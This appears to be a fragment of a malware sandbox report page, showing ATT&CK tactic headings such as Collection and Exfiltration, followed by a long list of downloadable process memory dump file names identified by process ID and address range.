Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/664-118-0x0000000005370000-0x0000000005371000-memory.dmp

Download

memory/664-121-0x0000000008800000-0x0000000008802000-memory.dmp

Download

memory/664-120-0x0000000008930000-0x0000000008931000-memory.dmp

Download

memory/664-123-0x000000000B550000-0x000000000B600000-memory.dmp

Download

memory/664-122-0x0000000007040000-0x000000000710F000-memory.dmp

Download

memory/664-116-0x00000000058B0000-0x00000000058B1000-memory.dmp

Download

memory/664-114-0x0000000000850000-0x0000000000851000-memory.dmp

Download

memory/664-119-0x0000000005220000-0x00000000052B2000-memory.dmp

Download

memory/664-117-0x00000000052C0000-0x00000000052C1000-memory.dmp

Download

memory/836-319-0x00000225185D6000-0x00000225185D8000-memory.dmp

Download

memory/836-284-0x00000225185D3000-0x00000225185D5000-memory.dmp

Download

memory/836-283-0x00000225185D0000-0x00000225185D2000-memory.dmp

Download

memory/892-265-0x000002D4564E3000-0x000002D4564E5000-memory.dmp

Download

memory/892-266-0x000002D4564E6000-0x000002D4564E8000-memory.dmp

Download

memory/892-264-0x000002D4564E0000-0x000002D4564E2000-memory.dmp

Download

memory/1164-182-0x0000000000510000-0x000000000065A000-memory.dmp

Download

memory/1308-302-0x000002A97F4F6000-0x000002A97F4F8000-memory.dmp

Download

memory/1308-278-0x000002A97F4F0000-0x000002A97F4F2000-memory.dmp

Download

memory/1308-315-0x000002A97F4F8000-0x000002A97F4F9000-memory.dmp

Download

memory/1308-282-0x000002A97F4F3000-0x000002A97F4F5000-memory.dmp

Download

memory/1336-309-0x0000022B89786000-0x0000022B89788000-memory.dmp

Download

memory/1336-291-0x0000022B89783000-0x0000022B89785000-memory.dmp

Download

memory/1336-289-0x0000022B89780000-0x0000022B89782000-memory.dmp

Download

memory/1336-324-0x0000022B89788000-0x0000022B89789000-memory.dmp

Download

memory/1568-192-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/1568-200-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/1780-230-0x0000000000400000-0x0000000000408000-memory.dmp

Download

memory/1820-310-0x0000021D18C36000-0x0000021D18C38000-memory.dmp

Download

memory/1820-293-0x0000021D18C33000-0x0000021D18C35000-memory.dmp

Download

memory/1820-292-0x0000021D18C30000-0x0000021D18C32000-memory.dmp

Download

memory/2184-156-0x0000000002180000-0x0000000002181000-memory.dmp

Download

memory/2192-301-0x0000011FC0313000-0x0000011FC0315000-memory.dmp

Download

memory/2192-297-0x0000011FC0310000-0x0000011FC0312000-memory.dmp

Download

memory/2192-312-0x0000011FC0316000-0x0000011FC0318000-memory.dmp

Download

memory/2224-133-0x0000000004E90000-0x000000000538E000-memory.dmp

Download

memory/2224-187-0x0000000006A90000-0x0000000006B13000-memory.dmp

Download

memory/2224-188-0x0000000006C80000-0x0000000006CB5000-memory.dmp

Download

memory/2224-127-0x0000000000440000-0x0000000000441000-memory.dmp

Download

memory/2680-131-0x0000000000400000-0x0000000000492000-memory.dmp

Download

memory/2680-135-0x0000000000400000-0x0000000000492000-memory.dmp

Download

memory/2696-281-0x00000123C1053000-0x00000123C1055000-memory.dmp

Download

memory/2696-313-0x00000123C1056000-0x00000123C1058000-memory.dmp

Download

memory/2696-280-0x00000123C1050000-0x00000123C1052000-memory.dmp

Download

memory/2868-222-0x0000000000400000-0x000000000040C000-memory.dmp

Download

memory/2868-238-0x0000000004B70000-0x000000000506E000-memory.dmp

Download

memory/2868-239-0x0000000004B70000-0x000000000506E000-memory.dmp

Download

memory/3232-195-0x00000000005F0000-0x00000000005F1000-memory.dmp

Download

memory/3232-201-0x0000000004EC0000-0x00000000053BE000-memory.dmp

Download

memory/3636-208-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/3636-206-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/3636-214-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/3636-207-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/3884-180-0x0000000004C80000-0x000000000517E000-memory.dmp

Download

memory/3884-169-0x0000000000480000-0x0000000000481000-memory.dmp

Download

memory/3884-218-0x0000000006990000-0x0000000006A00000-memory.dmp

Download

memory/3884-221-0x0000000006A50000-0x0000000006A6D000-memory.dmp

Download

memory/3940-267-0x0000000005600000-0x0000000005601000-memory.dmp

Download

memory/3964-219-0x0000000008970000-0x000000000898E000-memory.dmp

Download

memory/3964-160-0x0000000000D20000-0x0000000000D21000-memory.dmp

Download

memory/3964-179-0x0000000005550000-0x0000000005A4E000-memory.dmp

Download

memory/3964-216-0x0000000008900000-0x0000000008970000-memory.dmp

Download

memory/4024-250-0x0000000002CA0000-0x0000000002CA1000-memory.dmp

Download

memory/4024-252-0x0000000002CE0000-0x0000000002CE1000-memory.dmp

Download

memory/4024-251-0x0000000002D40000-0x0000000002DEE000-memory.dmp

Download

memory/4024-259-0x0000000002D00000-0x0000000002D01000-memory.dmp

Download

memory/4024-261-0x0000000010900000-0x0000000010CE7000-memory.dmp

Download

memory/4024-263-0x0000000000400000-0x00000000007E4000-memory.dmp

Download

memory/4060-248-0x0000000004B50000-0x0000000004B51000-memory.dmp

Download

memory/4060-288-0x0000000004B53000-0x0000000004B54000-memory.dmp

Download

memory/4060-277-0x000000007E980000-0x000000007E981000-memory.dmp

Download

memory/4060-249-0x0000000004B52000-0x0000000004B53000-memory.dmp

Download

memory/4064-147-0x0000000000820000-0x0000000000821000-memory.dmp

Download

memory/4064-217-0x0000000006D50000-0x0000000006DC5000-memory.dmp

Download

memory/4064-220-0x0000000006E50000-0x0000000006E74000-memory.dmp

Download

memory/4064-155-0x0000000005010000-0x000000000550E000-memory.dmp

Download

memory/4176-285-0x000002BD52A20000-0x000002BD52A22000-memory.dmp

Download

memory/4176-287-0x000002BD52A23000-0x000002BD52A25000-memory.dmp

Download

memory/4176-311-0x000002BD52A26000-0x000002BD52A28000-memory.dmp

Download

memory/4256-294-0x000001DFFE8C0000-0x000001DFFE8C2000-memory.dmp

Download

memory/4256-296-0x000001DFFE8C3000-0x000001DFFE8C5000-memory.dmp

Download

memory/4256-320-0x000001DFFE8C6000-0x000001DFFE8C8000-memory.dmp

Download

memory/4408-299-0x000001B79F423000-0x000001B79F425000-memory.dmp

Download

memory/4408-314-0x000001B79F426000-0x000001B79F428000-memory.dmp

Download

memory/4408-298-0x000001B79F420000-0x000001B79F422000-memory.dmp

Download

memory/4520-321-0x00000269E1BB6000-0x00000269E1BB8000-memory.dmp

Download

memory/4520-304-0x00000269E1BB3000-0x00000269E1BB5000-memory.dmp

Download

memory/4520-303-0x00000269E1BB0000-0x00000269E1BB2000-memory.dmp

Download

memory/4632-306-0x000001B79DC93000-0x000001B79DC95000-memory.dmp

Download

memory/4632-305-0x000001B79DC90000-0x000001B79DC92000-memory.dmp

Download

memory/4632-322-0x000001B79DC96000-0x000001B79DC98000-memory.dmp

Download

memory/4720-323-0x0000024021236000-0x0000024021238000-memory.dmp

Download

memory/4720-308-0x0000024021233000-0x0000024021235000-memory.dmp

Download

memory/4720-307-0x0000024021230000-0x0000024021232000-memory.dmp

Download